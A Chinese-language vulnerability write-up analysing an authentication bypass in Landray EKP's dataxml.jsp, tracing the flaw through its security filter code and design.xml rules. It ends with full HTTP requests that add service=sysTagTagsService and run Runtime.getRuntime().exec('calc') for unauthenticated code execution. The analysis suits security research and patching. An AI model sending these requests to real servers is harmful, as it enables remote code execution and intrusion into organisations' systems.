蓝凌EKP V16老版本 bypass dataxml.jsp Auth
前言
蓝凌EKP最早的一个RCE漏洞是直接请求/sys/common/dataxml.jsp来执行任意JS代码。在稍后的部分修复版本中,该路径做了auth限制,直接访问该路径会302跳转到登陆界面,通过分析Landary的权限处理逻辑,可通过添加参数来达到Bypass Auth。
漏洞分析
蓝凌EKP的权限处理逻辑在springSecurityFilterChain,其配置文件如下:
<sec:filter-chain pattern="/**"
filters="securityContextPersistenceFilter,
baseAppConfigFilter,
sysLogOperFilter,
concurrentSessionFilter,
logoutFilter,
kmssProcessingFilterProxy,
exceptionTranslationFilter,
filterInvocationInterceptor,
webContentCacheFilter,
checkIfTrustSiteUnknownRefererFilter,
sysDatamngPointFilter"/>
关键在于filterInvocationInterceptor
这个拦截器,其中配置了一个filterInvocationDefinitionSource
,其实现了匿名访问和权限控制:
public Collection<ConfigAttribute> getAttributes(Object object) throws IllegalArgumentException {
FilterInvocation filterInvocation = (FilterInvocation)object;
String url = filterInvocation.getRequestUrl();
int index = url.indexOf(63);
if (url.startsWith("/moduleindex")) {
if (index == -1) {
return null;
} else {
String query = url.substring(index + 1);
url = StringUtil.getParameter(query, "nav");
if (StringUtil.isNotNull(url) && !this.validateCore.checkAuthentication(url, "GET")) {
return this.getNoAccess();
} else {
url = StringUtil.getParameter(query, "main");
return StringUtil.isNotNull(url) && !this.validateCore.checkAuthentication(url, "GET") ? this.getNoAccess() : null;
}
}
} else {
if (index > -1) {
url = url.substring(0, index);
}
boolean nonAnonymous = false;
int i;
for(i = 0; i < this.nonAnonymousPaths.length; ++i) {
if (this.pathMatcher.match(this.nonAnonymousPaths[i], url)) {
nonAnonymous = true;
}
}
if (!nonAnonymous) {
for(i = 0; i < this.anonymousPaths.length; ++i) {
if (this.pathMatcher.match(this.anonymousPaths[i], url)) {
return null;
}
}
}
return this.validateCore.checkAuthentication(new ValidatorRequestContext(filterInvocation.getHttpRequest(), RequestUtils.recoverOriginUri(filterInvocation.getRequestUrl()))) ? null : this.getNoAccess();
}
}
除了一些定义的anonymousPaths
可以未授权访问外,其他路由的处理逻辑在下面的checkAuthentication
方法中,该方法中会调用loadAuthValidator
方法来通过请求的URL获取module,实现如下:
public void loadAuthValidator(ValidatorRequestContext validatorContext) {
String modulePath = validatorContext.getRequestUrl();
int i = modulePath.indexOf(63);
if (i > -1) {
modulePath = modulePath.substring(0, i);
}
String[] paths = modulePath.split("/");
if (paths.length >= 3) {
SysCfgModule module = null;
if (RequestUtils.isDataUri(modulePath)) {
modulePath = "/" + paths[1] + "/" + paths[2] + "/";
module = this.getModule(modulePath);
if (module == null) {
modulePath = "/" + paths[2].replace("-", "/") + "/";
module = this.getModule(modulePath);
}
} else {
modulePath = "/" + paths[1] + "/" + paths[2] + "/";
module = this.getModule(modulePath);
if (module == null && paths.length > 3) {
modulePath = "/" + paths[1] + "/" + paths[2] + "/" + paths[3] + "/";
module = this.getModule(modulePath);
}
}
if (module == null) {
if (logger.isDebugEnabled()) {
logger.debug("模块路径:" + modulePath + "未定义");
}
} else {
validatorContext.setModuleValidator(module.getDefaultValidator());
module.loadAuthValidator(validatorContext);
}
}
}
这里最终的鉴权逻辑是这样的:
首先从配置文件design.xml
中加载定义的访问控制,design.xml
文件内容大致如下:
<module
urlPrefix="/sys/anonym/"
messageKey="sys-anonym:module.sys.anonym" >
<roles>ROLE_SYSANONYM_SETTING</roles>
<areaRoles>
ROLE_SYSANONYM_DELETE;
ROLE_SYSANONYMCATE_MAINTAINER
</areaRoles>
<request
path="sysAnonymData.do*"
defaultValidator="true" />
......
module中有一个urlPrefix
,然后通过defaultValidator
属性来限制request
中的path
值,当defaultValidator
的值为true
的时候表示这个path
可以未授权访问。
通过审计配置文件,我们发现了如下配置信息:
<module
urlPrefix="/sys/common/"
messageKey="common.moduleName"
defaultValidator="roleValidator(role=SYSROLE_USER;SYSROLE_SYSADMIN;SYSROLE_SECURITY;SYSROLE_AUDITOR)">
</module>
......
<module
urlPrefix="/sys/common/">
<request
path="dataxml.jsp*">
<query
validator="true"
queryString="service=sysTagTagsService" />
</request>
</module>
/sys/common/
路径下的所有path都有一个defaultValidator="roleValidator(role=SYSROLE_USER;SYSROLE_SYSADMIN;SYSROLE_SECURITY;SYSROLE_AUDITOR)"
鉴权,但是后面又配置了一个validator="true"
,会覆盖掉上面的配置信息,也就是说,当请求参数中带有service=sysTagTagsService
,即可未授权访问该jsp
文件,从而达到了bypass auth的目的。
然后就是很常规的调用sysFormulaSimulateByJS来执行任意JS代码
漏洞复现
- 直接访问/sys/common/dataxml.jsp会跳转登陆:
POST /ekp/sys/common/dataxml.jsp HTTP/1.1
Host:
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 97
s_bean=sysFormulaValidate&script=Runtime.getRuntime().exec("calc");
- 带入参数service=sysTagTagsService可bypass Auth:
POST /ekp/sys/common/dataxml.jsp HTTP/1.1
Host:
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 93
s_bean=sysFormulaValidate&script=Runtime.getRuntime().exec("calc");&service=sysTagTagsService